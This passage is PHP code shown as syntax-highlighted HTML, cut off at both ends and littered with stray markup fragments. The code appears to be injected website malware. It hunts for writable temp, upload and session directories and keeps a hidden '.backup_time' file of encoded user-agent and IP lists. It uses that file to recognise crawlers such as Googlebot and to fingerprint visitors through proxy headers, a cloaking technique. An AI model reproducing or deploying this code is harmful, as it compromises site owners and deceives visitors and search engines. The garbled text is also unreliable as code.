#990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #000088;$tempfile/spanspan style=color: #339933;=@/spana href=http://www.php.net/tempnamspan style=color: #990000;tempnam/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #339933;,/spanspan style=color: #0000ff;/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #339933;@/spana href=http://www.php.net/unlinkspan style=color: #990000;unlink/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span a href=http://www.php.net/array_uniquespan style=color: #990000;array_unique/span/aspan style=color: #009900;(/spanspan style=color: #000088;$res/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_ua/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_uaspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$name/span span style=color: #339933;=/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanget_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$t/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;foreach/span span style=color: #009900;(/spana href=http://www.php.net/filespan style=color: #990000;file/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tt/span span style=color: #339933;=/span Uno_decodespan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #339933;,/spanspan style=color: #0000ff;./spanspan style=color: #009900;)/span span style=color: #339933;===/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tmp/span span style=color: #339933;=/span a href=http://www.php.net/explodespan style=color: #990000;explode/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;|/spanspan style=color: #339933;,/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanspan style=color: #000088;$tmp/span span style=color: #b1b100;as/span span style=color: #000088;$u/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #000088;$u/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/countspan style=color: #990000;count/span/aspan style=color: #009900;(/spanspan style=color: #000088;$know/spanspan style=color: #009900;)/span span style=color: #339933;==/span span style=color: #cc66cc;0/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span span style=color: #0000ff;msie/spanspan style=color: #339933;;/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span span style=color: #0000ff;firefox/spanspan style=color: #339933;;/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span span style=color: #0000ff;googlebot/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span a href=http://www.php.net/array_uniquespan style=color: #990000;array_unique/span/aspan style=color: #009900;(/spanspan style=color: #000088;$know/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_true_name/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #0000ff;.backup_time/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;strposa/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span strposaspan style=color: #009900;(/spanspan style=color: #000088;$haystack/spanspan style=color: #339933;,/span span style=color: #000088;$needle/spanspan style=color: #339933;,/span span style=color: #000088;$offset/spanspan style=color: #339933;=/spanspan style=color: #cc66cc;0/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/is_arrayspan style=color: #990000;is_array/span/aspan style=color: #009900;(/spanspan style=color: #000088;$needle/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #000088;$needle/span span style=color: #339933;=/span a href=http://www.php.net/arrayspan style=color: #990000;array/span/aspan style=color: #009900;(/spanspan style=color: #000088;$needle/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanspan style=color: #000088;$needle/span span style=color: #b1b100;as/span span style=color: #000088;$query/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$haystack/spanspan style=color: #339933;,/span span style=color: #000088;$query/spanspan style=color: #339933;,/span span style=color: #000088;$offset/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;true/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/issetspan style=color: #990000;isset/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$ua/span span style=color: #339933;=/span a href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$true_ua/span span style=color: #339933;=/span get_uaspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanstrposaspan style=color: #009900;(/spanspan style=color: #000088;$ua/spanspan style=color: #339933;,/spanspan style=color: #000088;$true_ua/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;t_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span t_dirspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;sys_get_temp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #000088;$tempfile/spanspan style=color: #339933;=@/spana href=http://www.php.net/tempnamspan style=color: #990000;tempnam/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #339933;,/spanspan style=color: #0000ff;/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #339933;@/spana href=http://www.php.net/unlinkspan style=color: #990000;unlink/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;null/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_know_ip/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_know_ipspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$name/span span style=color: #339933;=/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanget_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$t/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;foreach/span span style=color: #009900;(/spana href=http://www.php.net/filespan style=color: #990000;file/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tt/span span style=color: #339933;=/span Uno_decodespan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #339933;,/spanspan style=color: #0000ff;./spanspan style=color: #009900;)/spanspan style=color: #339933;gt;/spanspan style=color: #cc66cc;0/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;return/span a href=http://www.php.net/array_uniquespan style=color: #990000;array_unique/span/aspan style=color: #009900;(/spanspan style=color: #000088;$know/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;save_know_ip/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span save_know_ipspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$name/span span style=color: #339933;=/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$content/span span style=color: #339933;=/span a href=http://www.php.net/implodespan style=color: #990000;implode/span/aspan style=color: #009900;(/spanPHP_EOLspan style=color: #339933;,/span span style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanget_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$t/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$f/span span style=color: #339933;=/span a href=http://www.php.net/fopenspan style=color: #990000;fopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #339933;,/spanspan style=color: #0000ff;w/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fputsspan style=color: #990000;fputs/span/aspan style=color: #009900;(/spanspan style=color: #000088;$f/spanspan style=color: #339933;,/spanspan style=color: #000088;$content/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fclosespan style=color: #990000;fclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$f/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_get_real_ip/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_get_real_ipspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$proxy_headers/span span style=color: #339933;=/span a href=http://www.php.net/arrayspan style=color: #990000;array/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;CLIENT_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;FORWARDED/spanspan style=color: #339933;,/spanspan style=color: #0000ff;FORWARDED_FOR/spanspan style=color: #339933;,/spanspan style=color: #0000ff;FORWARDED_FOR_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_CLIENT_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_FORWARDED/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_FORWARDED_FOR/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_FORWARDED_FOR_IP/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_PC_REMOTE_ADDR/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_PROXY_CONNECTION/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_VIA/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_X_FORWARDED/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_X_FORWARDED_FOR/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_X_FORWARDED_FOR_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_X_IMFORWARDS/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_XROXY_CONNECTION/spanspan style=color: #339933;,/spanspan style=color: #0000ff;VIA/spanspan style=color: #339933;,/span span style=color: #0000ff;X_FORWARDED/spanspan style=color: #339933;,/span span style=color: #0000ff;X_FORWARDED_FOR/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanspan style=color: #000088;$proxy_headers/span span style=color: #b1b100;as/span span style=color: #000088;$proxy_header/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/issetspan style=color: #990000;isset/span/aspan style=color: #009900;(/spanspan style=color: 